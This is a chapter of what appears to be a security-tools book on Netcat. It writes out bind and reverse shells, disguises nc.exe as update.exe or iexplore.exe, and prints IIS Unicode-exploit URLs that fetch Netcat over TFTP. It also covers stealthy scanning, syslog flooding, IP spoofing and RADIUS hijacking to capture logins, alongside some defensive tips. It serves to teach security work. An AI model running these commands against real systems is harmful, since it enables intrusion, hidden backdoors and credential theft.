CHAPTER 1

NETCAT AND CRYPTCAT

As you will see throughout this book, a plethora of network security and hacker tools are at your disposal. In most cases, each tool is used to focus on a specific goal. For example, some tools gather information about a network and its hosts. Others are used directly to exploit a vulnerability. The most beneficial and well-used tools, however, are usually those that are multifunctional and appropriate for use in several different scenarios. Netcat and Cryptcat are such tools.

NETCAT

Simply stated, Netcat makes and accepts TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) connections. That's it! Netcat writes and reads data over those connections until they are closed. It provides a basic TCP/UDP networking subsystem that allows users to interact manually or via script with network applications and services on the application layer. It lets us see raw TCP and UDP data before it gets wrapped in the next highest layer such as FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), or HTTP (Hypertext Transfer Protocol).

NOTE Technically, Netcat doesn't make UDP *connections* because UDP is a connectionless protocol. Throughout this chapter, when we refer to making a UDP connection using Netcat, we're referring to using Netcat in UDP mode to start sending data to a UDP service that might be on the receiving end.

Netcat doesn't do anything fancy. It doesn't have a nice graphical user interface (GUI), and it doesn't output its results in a pretty report. It's rough, raw, and ugly, but because it functions at such a basic level, it lends itself to being useful for a whole slew of situations. Because Netcat alone doesn't necessarily obtain any meaningful results without being used in tandem with other tools and techniques, an inexperienced user might overlook Netcat as being nothing more than a glorified telnet client. Others might not be able to see the possibilities through the command-line arguments detailed in the lengthy README file. By the end of this chapter, however, you'll appreciate how Netcat can be one of the most valuable tools in your arsenal.

Implementation

Because it has so many uses, Netcat has often been referred to as a "Swiss army knife" for TCP/IP and UDP. Before you can learn to use it, though, you need to download and install it.

Download

Netcat can be obtained from many sources, and even though many Unix distributions come with Netcat binaries already installed, it's not a bad idea to obtain the Netcat source code and compile it yourself. By default, the Netcat source doesn't compile in a few

options that you might want. By downloading the source and building it yourself, you can control exactly which Netcat capabilities you'll have at your disposal.

The official download site for Netcat for both Unix and Windows platforms is *http://www.atstake.com/research/tools/.*

Install

We won't cover the details of downloading, unpacking, and building most of the tools discussed in this book. But because Netcat is the first tool introduced, and because it has some compile-time options that might be of interest to you, it's important that we go into the nitty-gritty details.

From the @stake Web site, download the file nc110.tgz. Next, you need to unpack it:

```
[root@originix tmp]# ls
nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix nc]# tar zxf ../nc110.tgz
[root@originix nc]#
```

NOTE Unlike most "tarballs" (archives created with the Unix tar utility), Netcat doesn't create its own subdirectory. It might seem trivial now, but if all your tarballs and subdirectories have been downloaded into one directory, and you discover that Netcat has placed all its files in the root download directory, it can be a bit of a pain to clean it all up.

Now you're ready to compile. Following are two compile-time options of importance:

- **GAPING_SECURITY_HOLE** As its name suggests, this option can make Netcat dangerous in the wrong hands, but it also makes Netcat extremely powerful. With this option enabled, an instance of Netcat can spawn off an external program. The input/output (I/O) of that program will flow through the Netcat datapipe. This allows Netcat to behave like a rogue inetd utility, allowing you to execute remote commands (like starting up a shell) just by making a TCP or UDP connection to the listening port. This option is not enabled by default because there is so much potential for abuse or misconfiguration. Used correctly, however, this option is a critical feature.
- **TELNET** Normally if you use Netcat to connect to a telnet server (using `nc *servername* 23`), you won't get very far. Telnet servers and clients negotiate several options before a login prompt is displayed. By enabling this option, Netcat can respond to these telnet options (by saying *no* to each one) and allow you to reach a login prompt. Without this feature, you'd have to script out a solution of your own to respond to the telnet options if you were looking to do something useful with Netcat and telnet.

The significance of these options probably isn't apparent to you yet, but you'll see why we bring these up when you take a look at some examples used later in the chapter.

To enable either of these options, you'll need to add a DFLAGS line to the beginning of the makefile:

```
# makefile for netcat, based off same ol' "generic makefile".
# Usually do "make systype" -- if your systype isn't defined, try "generic"
# or something else that most closely matches, see where it goes wrong, fix
# it, and MAIL THE DIFFS back to Hobbit.

### PREDEFINES

# DEFAULTS, possibly overridden by <systype> recursive call:
# pick gcc if you'd rather, and/or do -g instead of -O if debugging
# debugging
# DFLAGS = -DTEST –DDEBUG
DFLAGS = -DGAPING_SECURITY_HOLE –DTELNET
CFLAGS = -O
```

You can include one or both of these options on the DFLAGS line.

If you want to play along with the following examples, you'll need to make this modification. However, before you make changes, make sure that you either own the system you're working on or have completely restricted other users' access to the executable you're about to build. Even though it's easy enough for another user to download a copy of Netcat and build it with these options, you'd probably hate to see your system get hacked because someone used your "specially-built" Netcat as a backdoor into the system.

Now you're ready to compile. Simply type **`make systemtype`** at the prompt, where *`systemtype`* (strangely enough) is the flavor of Unix that you're running (that is, *linux*, *freebsd*, *solaris*, and so on—see the makefile for other operating system definitions). When finished, you'll have a happy little "nc" binary file sitting in the directory.

For Windows users, your Netcat download file (nc11nt.zip) also comes with source, but because most people don't have compilers on their Windows systems, a binary has already been compiled with those two options built in by default. So simply unzip the file and you've got your "nc.exe" ready to go.

Command Line

The basic command line for Netcat is `nc [options]` *`host ports`*, where *`host`* is the hostname or IP address to scan and *`ports`* is either a single port, a port range (specified "*`m-n`*"), or individual ports separated by spaces.

Now you're almost ready to see some of the amazing things you can do with Netcat. First, however, take an in-depth look at each of the command-line options to get a basic understanding of the possibilities:

- **-d** Available on Windows only, this option puts Netcat in stealth mode, allowing it to detach and run separately from the controlling MS-DOS command prompt. It lets Netcat run in listen mode without your having to keep a command window open. It also helps a hacker better conceal an instance of a listening Netcat from system administrators.
- **-e <*command*>** If Netcat was compiled with the `GAPING_SECURITY_HOLE` option, a listening Netcat will execute <*command*> any time someone makes a connection on the port to which it is listening, while a client Netcat will pipe the I/O to an instance of Netcat listening elsewhere. Using this option is *extremely* dangerous unless you know exactly what you're doing. It's a quick and easy way of setting up a backdoor shell on a system (examples to follow).
- **-i <*seconds*>** The delay interval, which is the amount of time Netcat waits between data sends. For example, when piping a file to Netcat, Netcat will wait <*seconds*> seconds before transmitting the next line of the input. When you're using Netcat to operate on multiple ports on a host, Netcat waits <*seconds*> seconds before contacting the next port in line. This can allow users to make a data transmission or an attack on a service look less scripted, and it can keep your port scans under the radar of some intrusion-detection systems and system administrators.
- **-g <*route-list*>** Using this option can be tricky. Netcat supports loose source routing (explained later in the section "Frame a Friend: IP Spoofing"). You can specify up to eight `-g` options on the command line to force your Netcat traffic to pass through certain IP addresses, which is useful if you're spoofing the source IP address of your traffic (in an attempt to bypass firewall filters or host allow lists) and you want to receive a response from the host. By source routing through a machine over which you have control, you can force the packets to return to your host address instead of heading for the real destination. Note that this usually won't work, as most routers ignore source routing options and most port filters and firewalls log your attempts.
- **-G <*hop pointer*>** This option lets you alter which IP address in your `-g` route list is currently the next hop. Because IP addresses are 4 bytes in size, this argument will always appear in multiples of four, where *4* refers to the first IP address in the route list, *8* refers to the second address, and so on. This is useful if you are looking to forge portions of the source routing list to make it look as if it was coming from elsewhere. By putting dummy IP addresses in your first two `-g` list slots and indicating a hop pointer of 12, the packet will be routed straight to the third IP address in your route list. The actual packet contents, however, will still contain the dummy IP addresses, making it appear as though the packet came from one location when in fact it's from somewhere else. This can help to mask where you're coming from when spoofing and source routing, but you won't necessarily be able to receive the response because it will attempt to reverse route through your forged IP addresses.

- **-l** This option toggles Netcat's "listen" mode. This option must be used in conjunction with the `-p` option to tell Netcat to bind to whatever TCP port you specify and wait for incoming connections. Add the `-u` option to use UDP ports instead.
- **-L** This option, available only on the Windows version, is a stronger "listen" option than `-l`. It tells Netcat to restart its listen mode with the same command-line options after a connection is closed. This allows Netcat to accept future connections without user intervention, even after your initial connection is complete. Like `-l`, it requires the `-p` option.
- **-n** Tells Netcat not to do any hostname lookups at all. If you use this option on the command line, be sure not to specify any hostnames as arguments.
- **-o <*hexfile*>** Performs a hex dump on the data and stores it in *`hexfile`*. The command `nc -o` *`hexfile`* records data going in both directions and begins each line with < or > to indicate incoming and outgoing data respectively. To obtain a hex dump of only incoming data, you would use `nc -o <`*`hexfile`*. To obtain a hex dump of only outgoing data, you would use `nc -o >`*`hexfile`*.
- **-p <*port*>** Lets you specify the local port number Netcat should use. This argument is required when using the `-l` or `-L` option to use listen mode. If it's not specified for outgoing connections, Netcat will use whatever port is given to it by the system, just as most other TCP or UDP clients do. Keep in mind that on a Unix box, only root users can specify a port number under 1024.
- **-r** Netcat chooses random local and remote ports. This is useful if you're using Netcat to obtain information on a large range of ports on the system and you want to mix up the order of both the source and destination ports to make it look less like a port scan. When this option is used in conjunction with the `-i` option and a large enough interval, a port scan has an even better chance of going unnoticed unless a system administrator is carefully scrutinizing the logs.
- **-s** Specifies the source IP address Netcat should use when making its connections. This option allows hackers to do some pretty sneaky tricks. First, it allows them to hide their IP addresses or forge someone else's, but to get any information routed to their spoofed address, they'd need to use the `-g` source routing option. Second, when in listen mode, many times you can "pre-bind" in front of an already listening service. All TCP and UDP services bind to a port, but not all of them will bind to a specific IP address. Many services listen on all available interfaces by default. Syslog, for example, listens on UDP port 514 for syslog traffic. However, if you run Netcat to listen on port 514 and use `-s` to specify a source IP address as well, any traffic going to that specified IP will go to the listening Netcat first! Why? If the socket specifies both a port and an IP address, it gets precedence over sockets that haven't bound to a specific IP address. We'll get into more detail on this later (see the "Hijacking a Service" section) and show you how to tell which services on a system can be pre-bound.

- **-t** If compiled with the `TELNET` option, Netcat will be able to handle telnet option negotiation with a telnet server, responding with meaningless information, but allowing you to get to that login prompt you were probably looking for when using Netcat to connect to TCP port 23.
- **-u** Tells Netcat to use UDP instead of TCP. Works for both client mode and listen mode.
- **-v** Controls how much Netcat tells you about what it's doing. Use no `-v`, and Netcat will only spit out the data it receives. A single `-v` will let you know what address it's connecting or binding to and if any problems occur. A second `-v` will let you know how much data was sent and received at the end of the connection.
- **-w <*seconds*>** Controls how long Netcat waits before giving up on a connection. It also tells Netcat how long to wait after an EOF (end-of-file) is received on standard input before closing the connection and exiting. This is important if you're sending a command through Netcat to a remote server and are expecting a large amount of data in return (for example, sending an HTTP command to a Web server to download a large file).
- **-z** If you care only about finding out which ports are open, you should probably be using nmap (see Chapter 6). But this option tells Netcat to send only enough data to discover which ports in your specified range actually have something listening on them.

Now that you have an idea of the things Netcat can do, take a look at some real-life practical examples using this utility.

Netcat's 101 Uses

People have claimed to find hundreds of ways to use Netcat in daily tasks. Some of these tasks are similar, only varying slightly. We tried to come up with a few that, like Netcat itself, are general and cover the largest possible scope. Here are the uses we deem most important.

Obtaining Remote Access to a Shell

Wouldn't you like to be able to get to your DOS prompt at home from anywhere in the world? By running the command `nc.exe -l -p 4455 -e cmd.exe` from a DOS prompt on an NT or Windows 2000 box, anyone telnetting to port 4455 on that box would encounter a DOS shell without even having to log in.

```
[root@originix /root]# telnet 192.168.1.101 4455
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
```

```
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
Connection closed by foreign host.
[root@originix /root]#
```

Pretty neat, eh? It's also pretty frightening. With hardly any effort, you've now secured a command prompt on the system. Of course, on Windows NT and 2000 systems, you'll have the same permissions and privileges as the user running Netcat. Backdooring Windows 95 and 98 systems in this manner (using command.com instead of cmd.exe) will give you run of the entire box. This shows how dangerous Netcat can be in the wrong hands.

NOTE Netcat seems to behave in an extremely unstable behavior on Windows 95 and 98 systems, especially after multiple runs.

Let's build on this command a bit. Keep in mind that Netcat will run *inside* the DOS window it's started in by default. This means that the controlling command prompt window needs to stay open while Netcat is running. Using the `-d` option to detach from the command prompt should allow Netcat to keep running even after the command prompt is closed.

```
C:\>nc.exe -l -p 4455 -d -e cmd.exe
```

This does a better job of hiding a Netcat backdoor.

However, if someone telnets to port 4455 and makes the connection, as soon as that client terminates the connection, Netcat by default will think it's done and will stop listening. Use the `-L` option instead of `-l` to tell it to listen *harder* (keep listening and restart with the same command line after its first conversation is complete).

```
C:\>nc.exe -p 4455 -d -L -e cmd.exe
```

This can let a hacker return to the system until the backdoor is discovered by a system administrator who sees nc.exe running in the Task Manager. The hacker may think of this and rename nc.exe to something else.

```
C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe
```

A system administrator might pass right over something as innocuous as update .exe—that could be anything. The hacker can also hide the command line as well. Another feature of Netcat is that if you run it with no command-line options, it will prompt you for those command-line options on the first line of standard input:

```
C:\>Windows\System32\Drivers\update.exe
Cmd line: -l -p 4455 -d -L -e cmd.exe
C:\>
```

Now, if a system administrator runs a trusted `netstat -a -n` command at the DOS prompt, he or she might notice that something is running on a rather odd port, telnet to that port, and discover the trick. However, Windows uses several random ports for varying reasons and netstat output can be time consuming to parse, especially on systems with a lot of activity.

Hackers might try a different approach. If they've infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you'd expect to see a lot of Domain Name System (DNS) lookups and Web connections. Running `netstat -a -n` would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run:

```
[root@originix /root]# nc -l -p 80
```

From the Windows box, the hacker could cleverly "hide" Netcat again and issue these commands:

```
C:\>mkdir C:\Windows\System32\Drivers\q
C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd Windows\System32\Drivers\q
C:\WINDOWS\System32\DRIVERS\q>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:\WINDOWS\System32\DRIVERS\q>
```

Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there's no way of restarting it on the Windows side.

There are several ways a system administrator can discover infiltration by a rogue Netcat.

- Use the Windows file search utility to look for files containing text like "listen mode" or "inbound connects." Any executables that pop up could be Netcat.
- Check Task Manager for any rogue cmd.exe files. Unless the hacker has renamed cmd.exe as well, you can catch the hacker while he's using the remote shell because a cmd.exe will be running that you can't account for.
- Use the `netstat` command (Chapter 2) or `fport` command (Chapter 18) to see what ports are currently being used and what applications are using them. Be careful with netstat, however. Netstat can easily be replaced by a "trojan" version of the program that is specially crafted by a hacker to hide particular activity. Also, netstat will sometimes not report a listening TCP socket until something has connected to it.

Now you've seen two different ways to get a remote shell on a Windows box. Obviously, some other factors that might affect success with either method include intermediate firewalls, port filters, or proxy servers that actually filter on HTTP headers (just to name a few).

This particular use of Netcat was the driving force behind some popular exploits of Internet Information Server (IIS) 4.0's Microsoft Data Access Components (MDAC) and Unicode vulnerabilities. Several variations exist, but in all cases the exploits take advantage of these vulnerabilities, which allow anyone to execute commands on the box as the IIS user by issuing specially crafted URLs. These exploits could use a program like Trivial File Transfer Protocol (TFTP) if it's installed, pull down nc.exe from a remote system running a TFTP server, and run one of the backdoor commands. Here's a URL that attempts to use TFTP to download Netcat from a remote location using an exploit of the Unicode vulnerability:

```
http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20-
i%20originix%20GET%20nc.exe%20update.exe
```

If successful, this command would effectively put Netcat on 10.10.0.1 in the Inetpub\Scripts directory as update.exe. The hacker could then start Netcat using another URL:

```
http://10.10.0.1/scripts/../%c1%pc/../inetpub/scripts/update.exe?-l%20-d%20-
L%20-p%20443%20-e%20cmd.exe
```

NOTE The Web server interprets the %20 codes as spaces in the URL above.

Telnetting to the system on port 443 would provide a command prompt. This is an effective and simple attack, and it can even be scripted and automated. However, this attack does leave behind its footprints. For one, all the URLs that were used will be stored in the IIS logs. Searching your IIS logs for *tftp* will reveal whether anyone has been attempting this kind of attack. Also, most current IDS versions will look for URLs formatted in this manner (that is, URLs containing *cmd.exe* or the special Unicode characters).

You can do a couple of things to prevent this type of attack.

- Make sure your IIS is running the latest security update.
- Block outgoing connections from your Web server at the firewall. In most cases, your Web server box shouldn't need to initiate connections out to the rest of the world. Even if your IIS is vulnerable, the TFTP will fail because it won't be able to connect back to the attacker's TFTP server.

Stealthy Port Scanning (Human-like)

Because Netcat can talk to a range of ports, a rather obvious use for the tool would be as a port scanner. Your first instinct might be to have Netcat connect to a whole slew of ports on the target host:

```
[root@originix nc]# ./nc target 20-80
```

But this won't work. Remember that Netcat is not specifically a port scanner. In this situation, Netcat would start at port 80 and attempt TCP connections until something answered. As soon as something answered on a port, Netcat would wait for standard input before continuing. This is not what we are looking for.

The `-z` option is the answer. This option will tell Netcat to send minimal data to get a response from an open port. When using `-z` mode, you don't get the option of feeding any input to Netcat (after all, you're telling it to go into "Zero I/O mode") and you won't see any output from Netcat either. Because the `-v` option always gives you details about what connections Netcat is making, you can use it to see the results of your port scan. Without it…well…you won't see anything—as you'll notice here:

```
[root@originix nc]# ./nc -z 192.168.1.100 20-80
[root@originix nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet) open
originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@originix nc]#
```

After you use the `-v` option, you can see that some of the usual suspects are running between TCP port 20 and 80. How does this look in the syslog?

```
Feb 12 03:50:23 originix sshd[21690]: Did not receive ident string from
192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop:  read: Broken pipe
Feb 12 03:50:23 originix ftpd[21691]: FTP session closed
```

Notice how all these events happened at the exact same time and with incremental process IDs (21689 through 21691). Imagine if you had scanned a wider range of ports. You'd end up with a rather large footprint. And some services, like `sshd`, are even rude enough to rat out the scanner's IP address.

Even if you scan ports that have nothing running on them (and thus don't end up in the target host's syslog), most networks have intrusion detection systems that will immediately flag this kind of behavior and bring it to the administrator's attention. Some firewall applications will automatically block an IP address if they receive too many connections from it within a short period of time.

Netcat provides ways to make scans a bit stealthier. You can use the `-i` option and set up a probing interval. It will take a lot longer to get information, but the scan has a better chance of slipping under the radar. Using the `-r` option to randomize the order in which Netcat scans those ports will also help the scan look less like a port scan:

```
./nc -v -z -r -i 42 192.168.1.100 20-80
```

This tells Netcat to choose ports randomly between 20 and 80 on 192.168.1.100 and try to connect to them once every 42 seconds. This will definitely get past any automated

defenses, but the evidence of the scan will still be in the target logs; it will just be more spread out.

You can do the same kind of stealthy port scanning using UDP instead. Simply add a `-u` to the command to look for UDP instead of TCP ports.

TIP UDP scanning has a problem. Netcat depends on receiving an Internet Control Message Protocol (ICMP) error to determine whether or not a UDP port is open or closed. If ICMP is being blocked by a firewall or filter, Netcat may erroneously report closed UDP ports as open.

Netcat isn't the most sophisticated tool to use for port scanning. Because it can be used for many general tasks rather than performing one task *extremely* well, you might be better off using a port scanner that was written specifically for that purpose. We'll talk about port scanners in Chapter 6.

TIP If you get errors in regard to an address already in use when attempting a port scan using Netcat, you might need to lock Netcat into a particular source IP and source port (using the `-s` and `-p` options). Choose a port you know you can use (only the super user can use ports below 1024) or that isn't already bound to something else.

Identify Yourself: Services Spilling Their Guts

After using Netcat or a dedicated port-scanning tool like nmap (see Chapter 6) to identify what ports are open on a system, you might like to be able to get more information about those ports. You can usually accomplish this by connecting to a port; the service will immediately spill its version number, build, and perhaps even the underlying operating system. So you should be able to use Netcat to scan a certain range of ports and report back on those services.

Keep in mind, though, that to automate Netcat, you have to provide input on the command line so it doesn't block waiting for standard input from the user. If you simply run `nc 192.168.1.100 20-80`, you won't discover much, because it will block on the first thing to which it connects (probably the Web server listening on 80) and will then wait for you to say something. So you need to figure out something to say to all of these services that might convince them to tell us more about themselves. As it turns out, telling services to `QUIT` really confuses them, and in the process they'll spill the beans.

Let's run it against ports 21 (FTP), 22 (SSH—Secure Shell), and 80 (HTTP) and see what the servers tell us!

```
[root@originix nc]# echo QUIT | ./nc -v 192.168.1.100 21 22 80
originix [192.168.1.100] 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)
ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open
SSH-2.0-OpenSSH_2.3.0p1
Protocol mismatch.
```

```
originix [192.168.1.100] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
QUIT to /index.html not supported.<P>
Invalid method in request QUIT<P>
<HR>
<ADDRESS>Apache/1.3.14 Server at 127.0.0.1 Port 80</ADDRESS>
</BODY></HTML>
[root@originix nc]#
```

TIP

Remember that when you're automating connections to multiple ports, use at least one `-v` option so that you can see the separation between one connection and the next. Also, if you're automating connections to multiple ports and one of those is a telnet server, you need to use `-t` if you want to get past the binary nastiness (that is, the telnet option negotiations). It's usually a good idea to skip over port 23 and access it separately.

The output isn't pretty, but we now know the versions of the three services. A hacker can use this to look for an out-of-date version of a service that might be vulnerable to an exploit (*http://www.securityfocus.com/* is an excellent place to find information about vulnerable service versions). A hacker who finds a particularly interesting port might be able to obtain even more information by focusing on that service and trying to speak its language.

Let's focus on the Apache Web server. `QUIT` isn't a command that HTTP understands. Let's try saying something it might comprehend:

```
[root@originix nc]# ./nc -v 192.168.1.100 80
originix [192.168.1.100] 80 (www) open
GET / HTTP

HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
Server: Apache/1.3.14 (Unix)  (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT
ETag: "3a107-24-398b9a97"
Accept-Ranges: bytes
Content-Length: 36
Connection: close
Content-Type: text/html

I don't think you meant to go here.
[root@originix nc]#
```

Oh, how nice! We spoke a little basic HTTP (issuing a `GET / HTTP` command and then pressing ENTER twice) and Apache responded. It let us see the root index.html page with all the HTTP headers intact and none of the application layer interpretation that a Web browser would do. And the Server header tells us not only that it is running Apache on a Unix box, but that it's running on a RedHat Linux box!

TIP

Keep one thing in mind. System administrators can go as far as hacking source code to change these types of banners to give out false information. It can be a lot of trouble, but administrators can at least take solace in the fact that these kind of deceptions do occur, always making a hacker wonder if he can actually trust the information he's receiving.

Communicating with UDP Services

We've mentioned how Netcat is sometimes passed over as being nothing more than a glorified telnet client. While it's true that many things that Netcat does (like speaking HTTP directly to a Web server) can be done using telnet, telnet has a lot of limitations that Netcat doesn't. First, telnet can't transfer binary data well. Some of that data can get interpreted by telnet as telnet options. Therefore, telnet won't give you true transport layer raw data. Second, telnet closes the connection as soon as its input reaches EOF. Netcat will remain open until the network side is closed, which is useful for using scripts to initiate connections that expect large amounts of received data when sending a single line of input. However, probably the best feature Netcat has over telnet is that Netcat speaks UDP.

Chances are you're running a syslog daemon on your UNIX system—right? If your syslog is configured to accept messages from other hosts on your network, you'll see something on UDP port 514 when you issue a `netstat -a -n` command. (If you don't, refer to syslogd's man page on how to start syslog in network mode.)

One way to determine whether syslog is accepting UDP packets is to try the following and then see if anything shows up in the log:

```
[root@originix nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514

Message from syslogd@originix at Tue Feb 12 06:07:48 2002 ...
originix I can speak syslog
 punt!
[root@originix nc]#
```

The `<0>` refers to the highest syslog level, kern.emerg, ensuring that this message should get written somewhere on the system (see your /etc/syslogd.conf file to know exactly where). And if you check the kernel log, you should see something like this:

```
Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12.
Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules.
Feb 12 06:06:39 originix I can speak syslog
```

TIP If you start up a UDP Netcat session to a port and send it some input, and then Netcat immediately exits after you press ENTER, chances are that nothing is running on that UDP port.

Voila. This is a good way to determine whether remote UDP servers are running. And if someone is running with an unrestricted syslog, they're leaving themselves open to a very simple attack that can fill up disk space, eat bandwidth, and hog up CPU time.

```
[root@originix nc]# yes "<20>blahblahblah" | nc –s 10.0.0.1 –u targethost 514
```

The `yes` command outputs a string (provided on the command line) over and over until the process is killed. This will flood the syslog daemon on `targethost` with "blahblahblah" messages. The attacker can even use a fake IP address (`-s 10.0.0.1`) because responses from the syslog daemon are of no importance.

TIP If you find yourself a victim of such an attack, most current syslogd versions contain a command-line option (FreeBSD's syslogd uses `-a`) to limit the hosts that can send syslog data to it. Unless you're coming from one of the hosts on that list, syslogd will just ignore you. However, because Netcat can spoof source IP addresses easily in this case, an attacker could guess a valid IP address from your list and put you right back where you were. Blocking incoming syslog traffic on the firewall is always the safest bet.

Frame a Friend: IP Spoofing

IP spoofing has quite a bit of mystique. You'll often hear, "How do we know that's really their IP address? What if they're spoofing it?" It can actually be quite difficult to spoof an IP address.

Perhaps we should rephrase that. Spoofing an IP address is easy. Firewalls that do masquerading or network address translation (NAT) spoof IP addresses on a daily basis. These devices can take a packet from an internal IP address, change the source IP address in the packet to its own IP address, send it out on the network, and undo the modifications when it receives data back from the destination. So changing the contents of the source IP address in an IP packet is easy. What's difficult is being able to receive any data back from your spoofed IP.

Netcat gives you the `–s` option, which lets you specify whatever IP address you want. Someone could start a port scan against someone else and use the `–s` option to make the target think it is being scanned by Microsoft or the Federal Bureau of Investigation (FBI). The problem arises, however, when you actually want the responses from the spoofed port scan to return to your real IP address. Because the target host thinks it received a connection request from Microsoft, for example, it will attempt to send an acknowledgement to that Microsoft IP. The IP will, of course, have no idea what the target host is talking about and will send a reset. How does the information get back to the real IP without being discovered?

Other than actually hacking the machine to be framed, the only other viable option is to use *source routing*. Source routing allows a network application to specify the route it would like to take to its destination.

Two kinds of source routing exist: strict and loose. *Strict* source routing means that the packet must specify every hop in the route to the destination host. Some routers and network devices still allow strict source routing, but few should still allow loose source routing. *Loose* source routing tells routers and network devices that the routers can do most of the routing to the destination host, but it says that the packet *must* pass through a specified set of routers on its way to the destination. This is dangerous, as it can allow a hacker to pass a packet through a machine he or she controls (perhaps a machine that changes the IP address of the incoming packet to that of someone else). When the response comes back, it will again have the same loose source routing option and pass back through that rogue machine (which could in turn restore the "true" IP address). Through this method, source routing can allow an attacker to spoof an IP address and still get responses back. Most routers ignore source routing options altogether, but not all.

Netcat's `-g` option lets you provide up to eight hops that the packet must pass through before getting to its destination. For example, `nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23` will contact the telnet port on 10.10.9.50, but if source routing options are enabled on intermediate routers, the traffic will be forced to route through these four locations before reaching its destination. If we tried `nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23`, we're specifying a hop pointer using the `-G` option in this command. `-G` will set the hop pointer to the *n*th byte (in this case twelfth), and because IP addresses are 4 bytes each, the hop pointer will start at 10.10.7.4. So on the way to 10.10.9.50, the traffic will need to go through only the last two machines (because according to the hop pointer, we've already been to the first two). On the return trip, however, the packet will pass through all four machines.

If your routers and network devices aren't set up to ignore source routing IP options, hopefully your intrusion-detection system is keeping an eye out for them (snort, the IDS we cover in Chapter 14, does this by default). Anyone who might be running a traffic analyzer like Ethereal will easily be able to spot source routing treachery, as the options section of the IP header will be larger than normal and the IP addresses in the route list will be clearly visible using an ASCII decoder. If it's important to the system administrators, they'll track down the owner of each IP address in the list in an attempt to find the culprit.

So to sum up, framing someone else for network misbehavior is easy. Actually pretending to be someone is a bit more difficult, however. Either way, Netcat can help do both.

Hijacking a Service

Go log on to your favorite system and run the command `netstat -a -n`. Look at the top of the output for things that are listening. You should see something like this:

```
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  *.6000                 *.*                    LISTEN
```

```
tcp4       0      0  *.80                   *.*                    LISTEN
tcp4       0      0  *.22                   *.*                    LISTEN
tcp4       0      0  *.23                   *.*                    LISTEN
tcp4       0      0  *.21                   *.*                    LISTEN
tcp4       0      0  *.512                  *.*                    LISTEN
tcp4       0      0  *.513                  *.*                    LISTEN
tcp4       0      0  *.514                  *.*                    LISTEN
```

The last three are rservices (rlogin, rexec, and so on), which would be a great find for any hacker because they are so insecure. You can also see that telnet, FTP, X Windows, Web, and SSH are all running. But what else is worth noting? Notice how each of them list * for the local address? This means that all these services haven't bound to a specific IP address. So what?

As it turns out, many IP client implementations will first attempt to contact a service listening on a specific IP address *before* contacting a service listening on all IP addresses. Try this command:

```
[root@originix nc]# ./nc -l –v -s 192.168.1.102 -p 6000
```

Now do another Netstat. You should see this:

```
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  192.168.1.102.6000     *.*                    LISTEN
tcp4       0      0  *.6000                 *.*                    LISTEN
```

Look at that! You're now listening in front of the X server. If you had root access on the box, you could listen to ports below 1024 and hijack things like telnet, Web, and other resources. But plenty of interesting third-party authentication, file sharing, and other applications use higher ports. A regular user on your system (we'll call him "joeuser") could, for example, hijack a RADIUS server (which usually listens on port 1645 or 1812 UDP) and run the Netcat command with a `-o` option to get a hexdump of all the login attempts. He's just captured a bunch of usernames and passwords without even needing root access on the box. Of course, it won't be long before users complain about a service not responding and joeuser's activity will be discovered. But if he knows a little bit about the service he's hijacking, he might actually be able to spoof the service (like faking responses) or even pass through to somebody else's service.

```
[root@originix nc]# ./nc -l –u -s 192.168.1.100 -p 1812 –e nc_to_radius
```

The `nc_to_radius` is a shell script that looks like this:

```
#!/bin/sh
DATE=`date "+%Y-%m-%d_%H.%M.%S"`
/usr/bin/nc –o hexlog-$DATE slave-radius 1812
```

`slave-radius` is the hostname of a secondary RADIUS server on the network. By putting the listening Netcat in a loop so that it restarts on every connection, this technique

should theoretically allow joeuser to capture all kinds of login information (each session in its own file) while keeping anyone from immediately knowing that something is wrong. It will simply record information while forwarding it on to the backup RADIUS server. This would be rather difficult to get working consistently but is in the realm of possibility.

TIP

This behavior won't necessarily work with every operating system (kernel) on every system because many of them have plugged this particular "loophole" in socket binding. Testing and experimentation is usually required to determine whether it will work. For example, we were unable to hijack services on a RedHat Linux 6.1 box running a default install of a 2.2.12 kernel. Hijacking services worked fine on a FreeBSD 4.3-BETA system, but only if we had root privileges.

Proxies and Relays

You can use the same technique employed in the previous section to create Netcat proxies and relays. A listening Netcat can be used to spawn another Netcat connection to a different host or port, creating a relay.

